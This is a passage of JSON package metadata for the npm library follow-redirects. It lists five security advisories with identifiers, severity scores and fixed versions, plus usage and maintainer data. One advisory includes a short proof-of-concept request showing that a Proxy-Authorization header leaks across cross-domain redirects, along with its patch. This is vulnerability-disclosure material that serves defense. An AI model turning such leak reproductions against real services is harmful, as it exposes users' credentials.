custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.\n\n## Suggested Fix\n\nAdd a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.\n\n## Disclosure\n\nSource code review, manually verified. Found 2026-03-20.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-14T01:11:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653","https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9","https://nvd.nist.gov/vuln/detail/CVE-2026-40895","https://github.com/advisories/GHSA-r4q5-vmmm-2653"],"source_kind":"github","identifiers":["GHSA-r4q5-vmmm-2653","CVE-2026-40895"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-14T02:00:10.360Z","updated_at":"2026-11-04T06:05:42.294Z","epss_percentage":0.00486,"epss_percentile":0.41568,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNHE1LXZtbW0tMjY1M84ABVM4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNHE1LXZtbW0tMjY1M84ABVM4","packages":[{"ecosystem":"npm","package_name":"follow-redirects","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003c= 1.15.11"}],"purl":"pkg:npm/follow-redirects"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNHE1LXZtbW0tMjY1M84ABVM4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jeGpoLXBxd3AtOG1mcM4AA6AJ","url":"https://github.com/advisories/GHSA-cxjh-pqwp-8mfp","title":"follow-redirects' Proxy-Authorization header kept across hosts","description":"When using [axios](https://github.com/axios/axios), its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.\n\n## Steps To Reproduce \u0026 PoC\n\nTest code:\n\n```js\nconst axios = require('axios');\n\naxios.get('http://127.0.0.1:10081/', {\n headers: {\n 'AuThorization': 'Rear Test',\n 'ProXy-AuthoriZation': 'Rear Test',\n 'coOkie': 't=1'\n }\n})\n .then((response) =\u003e {\n console.log(response);\n })\n```\n\nWhen I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.\n\n## Impact\n\nThis vulnerability may lead to credentials leak.\n\n## Recommendations\n\nRemove proxy-authentication header during cross-domain redirect\n\n### Recommended Patch\n\n[follow-redirects/index.js:464](https://github.com/follow-redirects/follow-redirects/commit/c4f847f85176991f95ab9c88af63b1294de8649b)\n\n```diff\n- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);\n+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-03-14T17:19:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-cxjh-pqwp-8mfp","https://github.com/follow-redirects/follow-redirects/commit/c4f847f85176991f95ab9c88af63b1294de8649b","https://fetch.spec.whatwg.org/#authentication-entries","https://nvd.nist.gov/vuln/detail/CVE-2024-28849","https://github.com/psf/requests/issues/1885","https://hackerone.com/reports/2390009","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VOIF4EPQUCKDBEVTGRQDZ3CGTYQHPO7Z","https://github.com/advisories/GHSA-cxjh-pqwp-8mfp"],"source_kind":"github","identifiers":["GHSA-cxjh-pqwp-8mfp","CVE-2024-28849"],"repository_url":"https://github.com/follow-redirects/follow-redirects","blast_radius":0.0,"created_at":"2024-03-21T20:04:44.865Z","updated_at":"2026-10-26T21:11:03.593Z","epss_percentage":0.01044,"epss_percentile":0.63516,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jeGpoLXBxd3AtOG1mcM4AA6AJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jeGpoLXBxd3AtOG1mcM4AA6AJ","packages":[{"ecosystem":"npm","package_name":"follow-redirects","versions":[{"first_patched_version":"1.15.6","vulnerable_version_range":"\u003c= 1.15.5"}],"purl":"pkg:npm/follow-redirects"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jeGpoLXBxd3AtOG1mcM4AA6AJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qY2h3LTI1eHAtand3Y84AA4JD","url":"https://github.com/advisories/GHSA-jchw-25xp-jwwc","title":"Follow Redirects improperly handles URLs in the url.parse() function","description":"Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-01-02T06:30:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-26159","https://github.com/follow-redirects/follow-redirects/issues/235","https://github.com/follow-redirects/follow-redirects/pull/236","https://security.snyk.io/vuln/SNYK-JS-FOLLOWREDIRECTS-6141137","https://github.com/follow-redirects/follow-redirects/commit/7a6567e16dfa9ad18a70bfe91784c28653fbf19d","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZZ425BFKNBQ6AK7I5SAM56TWON5OF2XM","https://security.netapp.com/advisory/ntap-20241108-0002","https://github.com/advisories/GHSA-jchw-25xp-jwwc"],"source_kind":"github","identifiers":["GHSA-jchw-25xp-jwwc","CVE-2023-26159"],"repository_url":"https://github.com/follow-redirects/follow-redirects","blast_radius":0.0,"created_at":"2024-01-08T23:05:58.251Z","updated_at":"2026-11-04T18:32:27.123Z","epss_percentage":0.00797,"epss_percentile":0.56507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qY2h3LTI1eHAtand3Y84AA4JD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qY2h3LTI1eHAtand3Y84AA4JD","packages":[{"ecosystem":"npm","package_name":"follow-redirects","versions":[{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"purl":"pkg:npm/follow-redirects"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qY2h3LTI1eHAtand3Y84AA4JD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wdzJyLXZxNnYtaHI4Y80qJw","url":"https://github.com/advisories/GHSA-pw2r-vq6v-hr8c","title":"Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects","description":"Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-10T00:00:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-0536","https://github.com/follow-redirects/follow-redirects/commit/62e546a99c07c3ee5e4e0718c84a6ca127c5c445","https://huntr.dev/bounties/7cf2bf90-52da-4d59-8028-a73b132de0db","https://github.com/advisories/GHSA-pw2r-vq6v-hr8c"],"source_kind":"github","identifiers":["GHSA-pw2r-vq6v-hr8c","CVE-2022-0536"],"repository_url":"https://github.com/follow-redirects/follow-redirects","blast_radius":0.0,"created_at":"2022-12-21T16:12:35.956Z","updated_at":"2026-11-04T18:48:15.201Z","epss_percentage":0.01337,"epss_percentile":0.7103,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdzJyLXZxNnYtaHI4Y80qJw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wdzJyLXZxNnYtaHI4Y80qJw","packages":[{"ecosystem":"npm","package_name":"follow-redirects","versions":[{"first_patched_version":"1.14.8","vulnerable_version_range":"\u003c 1.14.8"}],"purl":"pkg:npm/follow-redirects"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdzJyLXZxNnYtaHI4Y80qJw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NGZqLTJqMmgtYzQycc0hVA","url":"https://github.com/advisories/GHSA-74fj-2j2h-c42q","title":"Exposure of sensitive information in follow-redirects","description":"follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-01-12T22:46:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-0155","https://github.com/follow-redirects/follow-redirects/commit/8b347cbcef7c7b72a6e9be20f5710c17d6163c22","https://huntr.dev/bounties/fc524e4b-ebb6-427d-ab67-a64181020406","https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf","https://github.com/advisories/GHSA-74fj-2j2h-c42q"],"source_kind":"github","identifiers":["GHSA-74fj-2j2h-c42q","CVE-2022-0155"],"repository_url":"https://github.com/follow-redirects/follow-redirects","blast_radius":0.0,"created_at":"2022-12-21T16:12:38.692Z","updated_at":"2026-11-04T18:22:32.668Z","epss_percentage":0.02608,"epss_percentile":0.85416,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NGZqLTJqMmgtYzQycc0hVA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NGZqLTJqMmgtYzQycc0hVA","packages":[{"ecosystem":"npm","package_name":"follow-redirects","versions":[{"first_patched_version":"1.14.7","vulnerable_version_range":"\u003c 1.14.7"}],"purl":"pkg:npm/follow-redirects"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NGZqLTJqMmgtYzQycc0hVA/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/follow-redirects","docker_dependents_count":29844,"docker_downloads_count":6747132160,"usage_url":"https://repos.ecosyste.ms/usage/npm/follow-redirects","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/follow-redirects/dependencies","status":null,"funding_links":["https://github.com/sponsors/RubenVerborgh"],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-31T06:02:36.248Z","issues_count":97,"pull_requests_count":77,"avg_time_to_close_issue":1728016.9066666667,"avg_time_to_close_pull_request":594189.7285714286,"issues_closed_count":75,"pull_requests_closed_count":70,"pull_request_authors_count":44,"issue_authors_count":91,"avg_comments_per_issue":2.979381443298969,"avg_comments_per_pull_request":1.974025974025974,"merged_pull_requests_count":32,"bot_issues_count":0,"bot_pull_requests_count":3,"past_year_issues_count":6,"past_year_pull_requests_count":8,"past_year_avg_time_to_close_issue":16007.25,"past_year_avg_time_to_close_pull_request":2420.8,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":5,"past_year_pull_request_authors_count":5,"past_year_issue_authors_count":6,"past_year_avg_comments_per_issue":2.0,"past_year_avg_comments_per_pull_request":1.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/issues","maintainers":[{"login":"RubenVerborgh","count":17,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/RubenVerborgh"}],"active_maintainers":[{"login":"RubenVerborgh","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/RubenVerborgh"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/follow-redirects/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/follow-redirects/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/follow-redirects/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/follow-redirects/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/follow-redirects/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/follow-redirects/codemeta","maintainers":[{"uuid":"rubenverborgh","login":"rubenverborgh","name":null,"email":"ruben@verborgh.org","url":null,"packages_count":595,"html_url":"https://www.npmjs.com/~rubenverborgh","role":null,"created_at":"2022-11-12T09:59:22.039Z","updated_at":"2022-11-12T09:59:22.039Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/rubenverborgh/packages"},{"uuid":"olalonde","login":"olalonde","name":null,"email":"olalonde@gmail.com","url":null,"packages_count":137,"html_url":"https://www.npmjs.com/~olalonde","role":null,"created_at":"2022-11-12T09:59:22.145Z","updated_at":"2022-11-12T09:59:22.145Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/olalonde/packages"}]}